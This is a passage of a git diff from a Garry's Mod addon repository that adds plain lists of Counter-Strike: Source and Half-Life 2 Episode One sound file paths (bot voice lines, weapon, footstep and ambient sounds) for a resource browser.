+ambient/wind/dry_air_short.wav +ambient/wind/dry_air_short_indoors.wav +ambient/wind/dry_air_short_tunnel.wav +ambient/wind/lightwind.wav +ambient/wind/smallgust.wav +ambient/wind/smallgust2.wav +ambient/wind/wind1.wav +ambient/wind/wind_bass.wav +ambient/wind/wind_gusty1.wav +ambient/wind/wind_gust_10.wav +ambient/wind/wind_gust_2.wav +ambient/wind/wind_gust_8.wav +ambient/wind/wind_med1.wav +ambient/wind/wind_med2.wav +ambient/wind/wind_outdoors_1.wav +ambient/wind/wind_tunnel1.wav +bot/a.wav +bot/aah.wav +bot/affirmative.wav +bot/ahh_negative.wav +bot/airplane.wav +bot/alley.wav +bot/all_clear_here.wav +bot/all_quiet.wav +bot/alright.wav +bot/alright2.wav +bot/alright_lets_do_this.wav +bot/and_thats_how_its_done.wav +bot/anyone_see_anything.wav +bot/anyone_see_them.wav +bot/apartment.wav +bot/apartments.wav +bot/area_clear.wav +bot/area_secure.wav +bot/atrium.wav +bot/attacking.wav +bot/attacking_enemies.wav +bot/attic.wav +bot/aww_man.wav +bot/aw_hell.wav +bot/a_bunch_of_them.wav +bot/b.wav +bot/back.wav +bot/back_alley.wav +bot/back_door.wav +bot/back_hall.wav +bot/back_room.wav +bot/back_way.wav +bot/back_yard.wav +bot/balcony.wav +bot/basement.wav +bot/bathroom.wav +bot/bathroom2.wav +bot/bedroom.wav +bot/bedroom2.wav +bot/be_right_there.wav +bot/big_office.wav +bot/bombsite.wav +bot/bombsite2.wav +bot/bombsite_secure.wav +bot/bombsite_secured.wav +bot/bombsite_secure_ready_for_you.wav +bot/bombsite_under_control.wav +bot/bombs_on_the_ground.wav +bot/bombs_on_the_ground_here.wav +bot/bridge.wav +bot/bunker.wav +bot/c.wav +bot/camping_hostages.wav +bot/clear.wav +bot/clear2.wav +bot/clear3.wav +bot/clear4.wav +bot/come_out_and_fight_like_a_man.wav +bot/come_out_wherever_you_are.wav +bot/come_to_papa.wav +bot/computer_room.wav +bot/conference_room.wav +bot/courtyard.wav +bot/cover_me.wav +bot/cover_me2.wav +bot/crates.wav +bot/crawlspace.wav +bot/ct_spawn.wav +bot/cut_it_out.wav +bot/deck.wav +bot/defusing.wav +bot/defusing_bomb.wav +bot/defusing_bomb_now.wav +bot/den.wav +bot/dont_worry_hell_get_it.wav +bot/double_doors.wav +bot/downstairs.wav +bot/do_not_mess_with_me.wav +bot/dropped_him.wav +bot/dumpster.wav +bot/elevator.wav +bot/elevator2.wav +bot/enemy_down.wav +bot/enemy_down2.wav +bot/engaging_enemies.wav +bot/entrance.wav +bot/entryway.wav +bot/family_room.wav +bot/far_side.wav +bot/fence.wav +bot/foyer.wav +bot/front.wav +bot/front_door.wav +bot/front_door2.wav +bot/front_hall.wav +bot/front_room.wav +bot/front_yard.wav +bot/garage.wav +bot/gate.wav +bot/gatehouse.wav +bot/going_to_plant_the_bomb_at_b.wav +bot/good_idea.wav +bot/good_job_team.wav +bot/good_one.wav +bot/good_one2.wav +bot/good_one_sir.wav +bot/good_one_sir2.wav +bot/good_shot.wav +bot/good_shot2.wav +bot/good_shot_commander.wav +bot/good_shot_commander2.wav +bot/got_him.wav +bot/got_the_sniper.wav +bot/got_the_sniper2.wav +bot/great.wav +bot/guardhouse.wav +bot/guarding_a.wav +bot/guarding_b.wav +bot/guarding_c.wav +bot/guarding_hostages.wav +bot/guarding_the_dropped_bomb.wav +bot/guarding_the_escape_zone.wav +bot/guarding_the_escape_zone2.wav +bot/guarding_the_hostages.wav +bot/hang_on_im_coming.wav +bot/hang_on_i_heard_something.wav +bot/heading_to_a.wav +bot/heading_to_b.wav +bot/heading_to_c.wav +bot/heading_to_the_escape_zone.wav +bot/heading_to_the_rescue_zone.wav +bot/help.wav +bot/hes_broken.wav +bot/hes_dead.wav +bot/hes_done.wav +bot/hes_down.wav +bot/hes_got_the_bomb.wav +bot/hes_got_the_bomb2.wav +bot/hes_got_the_package.wav +bot/hey.wav +bot/hey2.wav +bot/he_got_away.wav +bot/he_got_away2.wav +bot/hold_your_fire.wav +bot/hostages2.wav +bot/hostages_secure_ready_for_you.wav +bot/hostage_down.wav +bot/house.wav +bot/ill_come_with_you.wav +bot/ill_go_too.wav +bot/ill_go_with_you.wav +bot/im_at_the_escape_zone.wav +bot/im_at_the_hostages.wav +bot/im_blind.wav +bot/im_camping_a.wav +bot/im_camping_b.wav +bot/im_camping_c.wav +bot/im_coming.wav +bot/im_going_to_camp.wav +bot/im_going_to_camp_a.wav +bot/im_going_to_camp_b.wav +bot/im_going_to_camp_c.wav +bot/im_going_to_camp_the_hostages.wav +bot/im_going_to_cover_the_escape_zone.wav +bot/im_going_to_guard_bombsite_a.wav +bot/im_going_to_guard_bombsite_b.wav +bot/im_going_to_guard_bombsite_c.wav +bot/im_going_to_guard_the_bomb.wav +bot/im_going_to_guard_the_bomb2.wav +bot/im_going_to_guard_the_hostages.wav +bot/im_going_to_guard_the_hostages2.wav +bot/im_going_to_keep_an_eye_on_the_bomb.wav +bot/im_going_to_keep_an_eye_on_the_escape.wav +bot/im_going_to_keep_an_eye_on_the_rescue.wav +bot/im_going_to_wait_here.wav +bot/im_going_to_watch_the_bomb.wav +bot/im_going_to_watch_the_escape_zone.wav +bot/im_going_to_watch_the_rescue_zone.wav +bot/im_gonna_go_plant.wav +bot/im_gonna_go_plant_the_bomb.wav +bot/im_gonna_hang_back.wav +bot/im_gonna_plant_the_bomb_at_a.wav +bot/im_gonna_plant_the_bomb_at_b.wav +bot/im_gonna_plant_the_bomb_at_c.wav +bot/im_gonna_plant_the_bomb_at_c2.wav +bot/im_in_trouble.wav +bot/im_on_your_side.wav +bot/im_pinned_down.wav +bot/im_waiting_here.wav +bot/im_with_the_hostages.wav +bot/im_with_the_hostages2.wav +bot/im_with_you.wav +bot/inside.wav +bot/in_combat.wav +bot/in_combat2.wav +bot/its_all_up_to_you_sir.wav +bot/its_a_party.wav +bot/ive_been_blinded.wav +bot/ive_got_the_bomb.wav +bot/ive_got_the_bomb_here.wav +bot/ive_got_the_hostages.wav +bot/i_am_dangerous.wav +bot/i_am_on_fire.wav +bot/i_cant_see.wav +bot/i_could_use_some_help.wav +bot/i_could_use_some_help_over_here.wav +bot/i_dont_know_where_he_went.wav +bot/i_dont_think_so.wav +bot/i_got_a_covered.wav +bot/i_got_b_covered.wav +bot/i_got_c_covered.wav +bot/i_got_more_where_that_came_from.wav +bot/i_got_nothing.wav +bot/i_got_your_back.wav +bot/i_got_your_back2.wav +bot/i_have_the_hostages.wav +bot/i_heard_something_over_there.wav +bot/i_heard_them.wav +bot/i_hear_something.wav +bot/i_hear_them.wav +bot/i_lost_him.wav +bot/i_see_our_target.wav +bot/i_see_the_bomber.wav +bot/i_wasnt_worried_for_a_minute.wav +bot/keeping_an_eye_on_the_hostages.wav +bot/killed_him.wav +bot/kitchen.wav +bot/kitchen2.wav +bot/ladder.wav +bot/lead_on_commander.wav +bot/lead_on_sir.wav +bot/lead_the_way.wav +bot/lead_the_way_commander.wav +bot/lead_the_way_sir.wav +bot/lets_hold_up_here_for_a_minute.wav +bot/lets_wait_here.wav +bot/little_office.wav +bot/living_room.wav +bot/loading_dock.wav +bot/lobby.wav +bot/loft.wav +bot/long_hall.wav +bot/look_out_brag.wav +bot/made_him_cry.wav +bot/main_hall.wav +bot/market.wav +bot/market2.wav +bot/meeting_room.wav +bot/me_too.wav +bot/middle.wav +bot/mines.wav +bot/my_eyes.wav +bot/naa.wav +bot/need_help.wav +bot/need_help2.wav +bot/negative.wav +bot/negative2.wav +bot/neutralized.wav +bot/nice.wav +bot/nice2.wav +bot/nice_one_commander.wav +bot/nice_one_sir.wav +bot/nice_shot.wav +bot/nice_shot2.wav +bot/nice_shot_commander.wav +bot/nice_shot_commander2.wav +bot/nice_shot_sir.wav +bot/nice_work_team.wav +bot/nnno_sir.wav +bot/no.wav +bot/no2.wav +bot/noo.wav +bot/nothing.wav +bot/nothing_happening_over_here.wav +bot/nothing_here.wav +bot/nothing_moving_over_here.wav +bot/no_sir.wav +bot/no_thanks.wav +bot/office.wav +bot/oh.wav +bot/oh_boy.wav +bot/oh_boy2.wav +bot/oh_man.wav +bot/oh_my_god.wav +bot/oh_no.wav +bot/oh_no_sad.wav +bot/oh_yea.wav +bot/oh_yea2.wav +bot/ok.wav +bot/ok2.wav +bot/ok_cmdr_lets_go.wav +bot/ok_sir_lets_go.wav +bot/old_mines.wav +bot/one_guy.wav +bot/one_guy_left.wav +bot/on_my_way.wav +bot/on_my_way2.wav +bot/ouch.wav +bot/outside.wav +bot/overpass.wav +bot/ow.wav +bot/owned.wav +bot/ow_its_me.wav +bot/pain10.wav +bot/pain2.wav +bot/pain4.wav +bot/pain5.wav +bot/pain8.wav +bot/pain9.wav +bot/patio.wav +bot/planting.wav +bot/planting_at_a.wav +bot/planting_at_b.wav +bot/planting_at_c.wav +bot/planting_the_bomb.wav +bot/please_defuse_the_bomb_sir.wav +bot/porch.wav +bot/projector_room.wav +bot/ramp.wav +bot/ramp2.wav +bot/rear.wav +bot/reporting_in.wav +bot/report_in_team.wav +bot/rescue_zone.wav +bot/rescue_zone2.wav +bot/rescuing_hostages.wav +bot/returning_fire.wav +bot/roger.wav +bot/roger_that.wav +bot/roof.wav +bot/ruined_his_day.wav +bot/security_doors.wav +bot/sewers.wav +bot/sewers2.wav +bot/side.wav +bot/side_alley.wav +bot/side_door.wav +bot/side_hall.wav +bot/side_room.wav +bot/side_yard.wav +bot/sir_defuse_the_bomb.wav +bot/sniper.wav +bot/sniper2.wav +bot/sniper_down.wav +bot/sounds_like_a_plan.wav +bot/spotted_the_delivery_boy.wav +bot/stairs.wav +bot/stairwell.wav +bot/stop_it.wav +bot/storage_room.wav +bot/tag_them_and_bag_them.wav +bot/taking_fire_need_assistance2.wav +bot/taking_the_bomb_to_a.wav +bot/taking_the_bomb_to_b.wav +bot/taking_the_bomb_to_c.wav +bot/taking_the_hostages_to_safety.wav +bot/talking_to_hostages.wav +bot/target_acquired.wav +bot/target_spotted.wav +bot/thats_not_good.wav +bot/thats_right.wav +bot/thats_the_way_this_is_done.wav +bot/that_was_a_close_one.wav +bot/that_was_it.wav +bot/that_was_the_last_guy.wav +bot/that_was_the_last_one.wav +bot/theres_nobody_home.wav +bot/theres_not_much_time_left.wav +bot/theres_one_left.wav +bot/theres_the_bomb.wav +bot/theres_the_bomb2.wav +bot/theres_the_bomber.wav +bot/theres_too_many.wav +bot/theres_too_many_of_them.wav +bot/theyre_all_over_the_place2.wav +bot/theyre_everywhere2.wav +bot/theyre_rescuing_the_hostages.wav +bot/theyre_taking_the_hostages.wav +bot/theyre_with_the_hostages.wav +bot/theyve_got_the_hostages.wav +bot/they_dropped_the_bomb.wav +bot/they_got_me_pinned_down_here.wav +bot/they_got_the_bomb.wav +bot/they_never_knew_what_hit_them.wav +bot/they_picked_up_the_bomb.wav +bot/they_took_the_bomb.wav +bot/they_took_the_bomb2.wav +bot/they_took_the_hostages.wav +bot/they_will_not_escape.wav +bot/they_wont_get_away.wav +bot/they_wont_get_away2.wav +bot/the_actions_hot_here.wav +bot/the_bombs_at_a.wav +bot/the_bombs_at_b.wav +bot/the_bombs_at_c.wav +bot/the_bombs_here.wav +bot/the_bombs_here_on_the_ground.wav +bot/the_bombs_ticking_at_a.wav +bot/the_bombs_ticking_at_b.wav +bot/the_bombs_ticking_at_c.wav +bot/the_bomb_is_down.wav +bot/the_bomb_is_on_the_ground.wav +bot/the_commander_is_down.wav +bot/the_commander_is_down_repeat.wav +bot/the_hostages_are_eager.wav +bot/the_hostages_are_gone.wav +bot/the_hostages_are_ready.wav +bot/the_hostages_are_waiting.wav +bot/the_hostages_are_with_me.wav +bot/the_sniper_is_dead.wav +bot/this_is_my_house.wav +bot/three.wav +bot/three_left.wav +bot/three_of_them.wav +bot/three_to_go.wav +bot/three_to_go2.wav +bot/time_is_running_out.wav +bot/time_is_running_out2.wav +bot/took_him_down.wav +bot/took_him_out.wav +bot/took_him_out2.wav +bot/took_out_the_sniper.wav +bot/too_many2.wav +bot/tower.wav +bot/truck.wav +bot/tunnel.wav +bot/tunnel2.wav +bot/two_enemies_left.wav +bot/two_of_them.wav +bot/two_to_go.wav +bot/t_spawn.wav +bot/uh_oh.wav +bot/uh_sir_the_bomb.wav +bot/underground.wav +bot/underpass.wav +bot/upstairs.wav +bot/vault.wav +bot/vending_machines.wav +bot/vending_machines2.wav +bot/ventilation_system.wav +bot/vents.wav +bot/vents2.wav +bot/very_nice.wav +bot/villiage.wav +bot/wall.wav +bot/wasted_him.wav +bot/watching_the_escape_route.wav +bot/watching_the_escape_zone.wav +bot/watching_the_hostages.wav +bot/watch_it_theres_a_sniper.wav +bot/water.wav +bot/way_to_be_team.wav +bot/well_cover_you_while_you_defuse.wav +bot/well_cover_you_you_defuse.wav +bot/well_done.wav +bot/weve_got_the_situation.wav +bot/weve_lost_the_commander.wav +bot/we_gotta_find_that_bomb.wav +bot/we_need_you_to_defuse_that_bomb_sir.wav +bot/we_owned_them.wav +bot/what_are_you_doing.wav +bot/what_happened.wav +bot/what_have_you_done.wav +bot/wheres_the_bomb.wav +bot/wheres_the_bomb2.wav +bot/wheres_the_bomb3.wav +bot/where_are_they.wav +bot/where_are_the_hostages.wav +bot/where_are_you_hiding.wav +bot/where_could_they_be.wav +bot/where_is_it.wav +bot/whew_that_was_close.wav +bot/whoa.wav +bot/whoo.wav +bot/whoo2.wav +bot/whos_the_man.wav +bot/who_wants_some_more.wav +bot/window.wav +bot/windows.wav +bot/wine_cellar.wav +bot/yea_baby.wav +bot/yea_ok.wav +bot/yesss.wav +bot/yesss2.wav +bot/yikes.wav +bot/you_heard_the_man_lets_go.wav +buttons/bell1.wav +buttons/blip2.wav +buttons/button11.wav +buttons/latchunlocked2.wav +buttons/weapon_cant_buy.wav +buttons/weapon_confirm.wav +common/bass.wav +common/center.wav +common/frontleft.wav +common/frontright.wav +common/left.wav +common/rearleft.wav +common/rearright.wav +common/right.wav +common/stuck1.wav +common/stuck2.wav +common/talk.wav +common/use_deny.WAV +common/wpn_hudoff.WAV +doors/door_metal_gate_close1.wav +doors/door_metal_gate_move1.wav +doors/door_metal_gate_move2.wav +hostage/hpain/hpain1.wav +hostage/hpain/hpain2.wav +hostage/hpain/hpain3.wav +hostage/hpain/hpain4.wav +hostage/hpain/hpain5.wav +hostage/hpain/hpain6.wav +hostage/hunuse/comeback.wav +hostage/hunuse/dontleaveme.wav +hostage/hunuse/illstayhere.wav +hostage/hunuse/notleaveme.wav +hostage/hunuse/yeahillstay.wav +hostage/huse/getouttahere.wav +hostage/huse/illfollow.wav +hostage/huse/letsdoit.wav +hostage/huse/letsgo.wav +hostage/huse/letshurry.wav +hostage/huse/letsmove.wav +hostage/huse/okletsgo.wav +hostage/huse/youlead.wav +items/ammopickup.wav +items/defuser_equip.wav +items/equip_nvg.wav +items/flashlight1.wav +items/itempickup.wav +items/nvg_off.wav +items/nvg_on.wav +physics/body/body_medium_strain1.wav +physics/body/body_medium_strain2.wav +physics/body/body_medium_strain3.wav +physics/cardboard/cardboard_box_break1.wav +physics/cardboard/cardboard_box_break2.wav +physics/cardboard/cardboard_box_break3.wav +physics/cardboard/cardboard_box_shake1.wav +physics/cardboard/cardboard_box_shake2.wav +physics/cardboard/cardboard_box_shake3.wav +physics/cardboard/cardboard_box_strain1.wav +physics/cardboard/cardboard_box_strain2.wav +physics/cardboard/cardboard_box_strain3.wav +physics/glass/glass_strain1.wav +physics/glass/glass_strain2.wav +physics/glass/glass_strain3.wav +physics/glass/glass_strain4.wav +physics/metal/canister_roll_loop1.wav +physics/metal/chain_impact_hard1.wav +physics/metal/chain_impact_hard2.wav +physics/metal/chain_impact_soft1.wav +physics/metal/chain_impact_soft2.wav +physics/metal/chain_impact_soft3.wav +physics/metal/chain_scrape_rough_loop1.wav +physics/metal/metal_grenade_roll_loop1.wav +physics/metal/metal_popcan_impact_hard1.wav +physics/metal/metal_popcan_impact_hard2.wav +physics/metal/metal_popcan_impact_hard3.wav +physics/metal/paintcan_roll_loop1.wav +physics/plastic/plastic_barrel_break1.wav +physics/plastic/plastic_barrel_break2.wav +physics/plastic/plastic_barrel_roll_loop1.wav +physics/plastic/plastic_barrel_strain1.wav +physics/plastic/plastic_barrel_strain2.wav +physics/plastic/plastic_barrel_strain3.wav +physics/plastic/plastic_box_strain1.wav +physics/plastic/plastic_box_strain2.wav +physics/plastic/plastic_box_strain3.wav +physics/rubber/rubber_tire_strain1.wav +physics/rubber/rubber_tire_strain2.wav +physics/rubber/rubber_tire_strain3.wav +physics/wood/wood_strain1.wav +physics/wood/wood_strain2.wav +physics/wood/wood_strain3.wav +physics/wood/wood_strain4.wav +physics/wood/wood_strain5.wav +physics/wood/wood_strain6.wav +physics/wood/wood_strain7.wav +physics/wood/wood_strain8.wav +player/bhit_helmet-1.wav +player/damage1.wav +player/damage2.wav +player/damage3.wav +player/death1.wav +player/death2.wav +player/death3.wav +player/death4.wav +player/death5.wav +player/death6.wav +player/headshot1.wav +player/headshot2.wav +player/kevlar1.wav +player/kevlar2.wav +player/kevlar3.wav +player/kevlar4.wav +player/kevlar5.wav +player/pl_wade1.wav +player/pl_wade2.wav +player/sprayer.wav +player/footsteps/chainlink1.wav +player/footsteps/chainlink2.wav +player/footsteps/chainlink3.wav +player/footsteps/chainlink4.wav +player/footsteps/concrete1.wav +player/footsteps/concrete2.wav +player/footsteps/concrete3.wav +player/footsteps/concrete4.wav +player/footsteps/dirt1.wav +player/footsteps/dirt2.wav +player/footsteps/dirt3.wav +player/footsteps/dirt4.wav +player/footsteps/duct1.wav +player/footsteps/duct2.wav +player/footsteps/duct3.wav +player/footsteps/duct4.wav +player/footsteps/grass1.wav +player/footsteps/grass2.wav +player/footsteps/grass3.wav +player/footsteps/grass4.wav +player/footsteps/gravel1.wav +player/footsteps/gravel2.wav +player/footsteps/gravel3.wav +player/footsteps/gravel4.wav +player/footsteps/ladder1.wav +player/footsteps/ladder2.wav +player/footsteps/ladder3.wav +player/footsteps/ladder4.wav +player/footsteps/metal1.wav +player/footsteps/metal2.wav +player/footsteps/metal3.wav +player/footsteps/metal4.wav +player/footsteps/metalgrate1.wav +player/footsteps/metalgrate2.wav +player/footsteps/metalgrate3.wav +player/footsteps/metalgrate4.wav +player/footsteps/mud1.wav +player/footsteps/mud2.wav +player/footsteps/mud3.wav +player/footsteps/mud4.wav +player/footsteps/sand1.wav +player/footsteps/sand2.wav +player/footsteps/sand3.wav +player/footsteps/sand4.wav +player/footsteps/slosh1.wav +player/footsteps/slosh2.wav +player/footsteps/slosh3.wav +player/footsteps/slosh4.wav +player/footsteps/snow1.wav +player/footsteps/snow2.wav +player/footsteps/snow3.wav +player/footsteps/snow4.wav +player/footsteps/snow5.wav +player/footsteps/snow6.wav +player/footsteps/tile1.wav +player/footsteps/tile2.wav +player/footsteps/tile3.wav +player/footsteps/tile4.wav +player/footsteps/wade1.wav +player/footsteps/wade2.wav +player/footsteps/wade3.wav +player/footsteps/wade4.wav +player/footsteps/wood1.wav +player/footsteps/wood2.wav +player/footsteps/wood3.wav +player/footsteps/wood4.wav +player/footsteps/woodpanel1.wav +player/footsteps/woodpanel2.wav +player/footsteps/woodpanel3.wav +player/footsteps/woodpanel4.wav +radio/blow.wav +radio/bombdef.wav +radio/bombpl.wav +radio/clear.wav +radio/com_getinpos.wav +radio/com_go.wav +radio/com_reportin.wav +radio/ctwin.wav +radio/ct_affirm.wav +radio/ct_backup.wav +radio/ct_coverme.wav +radio/ct_enemys.wav +radio/ct_fireinhole.wav +radio/ct_inpos.wav +radio/ct_reportingin.wav +radio/enemydown.wav +radio/fallback.wav +radio/fireassis.wav +radio/followme.wav +radio/go.wav +radio/hosdown.wav +radio/hostagecompromised.wav +radio/letsgo.wav +radio/locknload.wav +radio/moveout.wav +radio/negative.wav +radio/position.wav +radio/regroup.wav +radio/rescued.wav +radio/roger.wav +radio/rounddraw.wav +radio/sticktog.wav +radio/stormfront.wav +radio/takepoint.wav +radio/terwin.wav +radio/vip.wav +Resource/warning.wav +UI/buttonclick.wav +UI/buttonclickrelease.wav +UI/buttonrollover.wav +weapons/ClipEmpty_Pistol.wav +weapons/ClipEmpty_Rifle.wav +weapons/debris1.wav +weapons/debris2.wav +weapons/pinpull.wav +weapons/zoom.wav +weapons/ak47/ak47-1.wav +weapons/ak47/ak47_boltpull.wav +weapons/ak47/ak47_clipin.wav +weapons/ak47/ak47_clipout.wav +weapons/aug/aug-1.wav +weapons/aug/aug_boltpull.wav +weapons/aug/aug_boltslap.wav +weapons/aug/aug_clipin.wav +weapons/aug/aug_clipout.wav +weapons/aug/aug_forearm.wav +weapons/awp/awp1.wav +weapons/awp/awp_bolt.wav +weapons/awp/awp_clipin.wav +weapons/awp/awp_clipout.wav +weapons/c4/c4_beep1.wav +weapons/c4/c4_click.wav +weapons/c4/c4_disarm.wav +weapons/c4/c4_explode1.wav +weapons/c4/c4_exp_deb1.wav +weapons/c4/c4_exp_deb2.wav +weapons/c4/c4_plant.wav +weapons/deagle/deagle-1.wav +weapons/deagle/de_clipin.wav +weapons/deagle/de_clipout.wav +weapons/deagle/de_deploy.wav +weapons/deagle/de_slideback.wav +weapons/elite/elite-1.wav +weapons/elite/elite_clipout.wav +weapons/elite/elite_deploy.wav +weapons/elite/elite_leftclipin.wav +weapons/elite/elite_reloadstart.wav +weapons/elite/elite_rightclipin.wav +weapons/elite/elite_sliderelease.wav +weapons/famas/famas-1.wav +weapons/famas/famas_clipin.wav +weapons/famas/famas_clipout.wav +weapons/famas/famas_forearm.wav +weapons/fiveseven/fiveseven-1.wav +weapons/fiveseven/fiveseven_clipin.wav +weapons/fiveseven/fiveseven_clipout.wav +weapons/fiveseven/fiveseven_slideback.wav +weapons/fiveseven/fiveseven_slidepull.wav +weapons/fiveseven/fiveseven_sliderelease.wav +weapons/flashbang/flashbang_explode1.wav +weapons/flashbang/flashbang_explode2.wav +weapons/flashbang/grenade_hit1.wav +weapons/g3sg1/g3sg1-1.wav +weapons/g3sg1/g3sg1_clipin.wav +weapons/g3sg1/g3sg1_clipout.wav +weapons/g3sg1/g3sg1_slide.wav +weapons/galil/galil-1.wav +weapons/galil/galil_boltpull.wav +weapons/galil/galil_clipin.wav +weapons/galil/galil_clipout.wav +weapons/glock/glock18-1.wav +weapons/glock/glock_clipin.wav +weapons/glock/glock_clipout.wav +weapons/glock/glock_slideback.wav +weapons/glock/glock_sliderelease.wav +weapons/hegrenade/explode3.wav +weapons/hegrenade/explode4.wav +weapons/hegrenade/explode5.wav +weapons/hegrenade/he_bounce-1.wav +weapons/knife/knife_deploy1.wav +weapons/knife/knife_hit1.wav +weapons/knife/knife_hit2.wav +weapons/knife/knife_hit3.wav +weapons/knife/knife_hit4.wav +weapons/knife/knife_hitwall1.wav +weapons/knife/knife_slash1.wav +weapons/knife/knife_slash2.wav +weapons/knife/knife_stab.wav +weapons/m249/m249-1.wav +weapons/m249/m249_boxin.wav +weapons/m249/m249_boxout.wav +weapons/m249/m249_chain.wav +weapons/m249/m249_coverdown.wav +weapons/m249/m249_coverup.wav +weapons/m3/m3-1.wav +weapons/m3/m3_insertshell.wav +weapons/m3/m3_pump.wav +weapons/m4a1/m4a1-1.wav +weapons/m4a1/m4a1_boltpull.wav +weapons/m4a1/m4a1_clipin.wav +weapons/m4a1/m4a1_clipout.wav +weapons/m4a1/m4a1_deploy.wav +weapons/m4a1/m4a1_silencer_off.wav +weapons/m4a1/m4a1_silencer_on.wav +weapons/m4a1/m4a1_unsil-1.wav +weapons/mac10/mac10-1.wav +weapons/mac10/mac10_boltpull.wav +weapons/mac10/mac10_clipin.wav +weapons/mac10/mac10_clipout.wav +weapons/mp5navy/mp5-1.wav +weapons/mp5navy/mp5_clipin.wav +weapons/mp5navy/mp5_clipout.wav +weapons/mp5navy/mp5_slideback.wav +weapons/p228/p228-1.wav +weapons/p228/p228_clipin.wav +weapons/p228/p228_clipout.wav +weapons/p228/p228_slideback.wav +weapons/p228/p228_slidepull.wav +weapons/p228/p228_sliderelease.wav +weapons/p90/p90-1.wav +weapons/p90/p90_boltpull.wav +weapons/p90/p90_clipin.wav +weapons/p90/p90_clipout.wav +weapons/p90/p90_cliprelease.wav +weapons/scout/scout_bolt.wav +weapons/scout/scout_clipin.wav +weapons/scout/scout_clipout.wav +weapons/scout/scout_fire-1.wav +weapons/sg550/sg550-1.wav +weapons/sg550/sg550_boltpull.wav +weapons/sg550/sg550_clipin.wav +weapons/sg550/sg550_clipout.wav +weapons/sg552/sg552-1.wav +weapons/sg552/sg552_boltpull.wav +weapons/sg552/sg552_clipin.wav +weapons/sg552/sg552_clipout.wav +weapons/smokegrenade/grenade_hit1.wav +weapons/smokegrenade/sg_explode.wav +weapons/tmp/tmp-1.wav +weapons/tmp/tmp_clipin.wav +weapons/tmp/tmp_clipout.wav +weapons/ump45/ump45-1.wav +weapons/ump45/ump45_boltslap.wav +weapons/ump45/ump45_clipin.wav +weapons/ump45/ump45_clipout.wav +weapons/usp/usp1.wav +weapons/usp/usp_clipin.wav +weapons/usp/usp_clipout.wav +weapons/usp/usp_silencer_off.wav +weapons/usp/usp_silencer_on.wav +weapons/usp/usp_slideback.wav +weapons/usp/usp_slideback2.wav +weapons/usp/usp_sliderelease.wav +weapons/usp/usp_unsil-1.wav +weapons/xm1014/xm1014-1.wav +weapons/xm1014/xm1014_insertshell.wav diff --git a/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/hl2ep1.txt b/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/hl2ep1.txt new file mode 100644 index 0000000..e593f4e --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/hl2ep1.txt @@ -0,0 +1,3142 @@ +ambient/intro/AlyxRemove.wav +ambient/intro/CitadelPan.wav +ambient/intro/Debris01.wav +ambient/intro/Debris02.wav +ambient/intro/Debris03.wav +ambient/intro/EndScreenHits.wav +ambient/intro/Explosion01.wav +ambient/intro/Explosion02.wav +ambient/intro/LogoSFX.wav +ambient/intro/VortigauntEnd-FrontL-R.wav +ambient/intro/VortigauntEnd-rearL-R.wav +ambient/intro/VortigauntTrack01.wav +ambient/intro/VortigauntTrack02.wav +ambient/levels/citadel/Advisor_Enter_Loop.wav +ambient/levels/citadel/Advisor_Leave.wav +ambient/levels/citadel/Advisor_Lift.wav +ambient/levels/citadel/citadel_5sirens.wav +ambient/levels/citadel/citadel_5sirens2.wav +ambient/levels/citadel/citadel_5sirens3.wav +ambient/levels/citadel/citadel_alarmdrone_loop1.wav +ambient/levels/citadel/citadel_breakershut1.wav +ambient/levels/citadel/citadel_breakershut2.wav +ambient/levels/citadel/citadel_bridgebeam1.wav +ambient/levels/citadel/citadel_coregrind_loop1.wav +ambient/levels/citadel/citadel_coregrind_loop2.wav +ambient/levels/citadel/citadel_coregrind_loop3.wav +ambient/levels/citadel/citadel_core_dataRewind03.wav +ambient/levels/citadel/citadel_sickcore_loop5.wav +ambient/levels/citadel/citadel_sickdrone_loop1.wav +ambient/levels/citadel/citadel_sickdrone_loop2.wav +ambient/levels/citadel/citadel_sickdrone_loop3.wav +ambient/levels/citadel/citadel_sickdrone_loop4.wav +ambient/levels/citadel/Core_contained_loop1.wav +ambient/levels/citadel/Core_far_uncontained_loop1.wav +ambient/levels/citadel/Core_near_uncontained_loop2.wav +ambient/levels/citadel/Core_partialcontain_loop1.wav +ambient/levels/citadel/Core_playerhit1.wav +ambient/levels/citadel/Core_uncontained_loop2.wav +ambient/levels/citadel/DataTransFmaleVx01.wav +ambient/levels/citadel/DataTransFMaleVx02.wav +ambient/levels/citadel/DataTransGarbledFMaleVx01.wav +ambient/levels/citadel/DataTransMaleVx01.wav +ambient/levels/citadel/DataTransMaleVx02.wav +ambient/levels/citadel/DataTransmission01_loop.wav +ambient/levels/citadel/DataTransmission02_loop.wav +ambient/levels/citadel/DataTransmission03_loop.wav +ambient/levels/citadel/DataTransmission04_loop.wav +ambient/levels/citadel/DataTransRandom01.wav +ambient/levels/citadel/DataTransRandom02.wav +ambient/levels/citadel/DataTransRandom03.wav +ambient/levels/citadel/fcitadel_alert.wav +ambient/levels/citadel/fcitadel_alert2.wav +ambient/levels/citadel/fcitadel_bypassdetected.wav +ambient/levels/citadel/fcitadel_corereprogramming1.wav +ambient/levels/citadel/fcitadel_deploydiagnose.wav +ambient/levels/citadel/fcitadel_deploysterilizers.wav +ambient/levels/citadel/fcitadel_restrictorsdisengaged.wav +ambient/levels/citadel/fcitadel_stabilization_disengaged1.wav +ambient/levels/citadel/fcitadel_sterilizerscompromized.wav +ambient/levels/citadel/mo_dataRewind03.wav +ambient/levels/citadel/stalk_GasEscape_loop.wav +ambient/levels/citadel/stalk_GravityGun_SheetMetal_Loop.wav +ambient/levels/citadel/stalk_HelmetClose.wav +ambient/levels/citadel/stalk_Opening_TrainArrive.wav +ambient/levels/citadel/stalk_PowerOff_On_17_10.wav +ambient/levels/citadel/stalk_Sparks_01.wav +ambient/levels/citadel/stalk_Spark_01.wav +ambient/levels/citadel/stalk_Spark_02.wav +ambient/levels/citadel/stalk_StalkerShakes_1_03_22.wav +ambient/levels/citadel/stalk_StalkerShakes_1_04_24.wav +ambient/levels/citadel/stalk_StalkerShakes_1_09_27.wav +ambient/levels/citadel/stalk_StalkerShakes_43_27.wav +ambient/levels/citadel/stalk_StalkerShakes_49_14.wav +ambient/levels/citadel/stalk_StalkerShakes_52_17.wav +ambient/levels/citadel/stalk_StalkerShakes_59_08.wav +ambient/levels/citadel/stalk_StalkerTrainInterior_Loop.wav +ambient/levels/citadel/stalk_StalkerTrainRide_L-R_36_06.wav 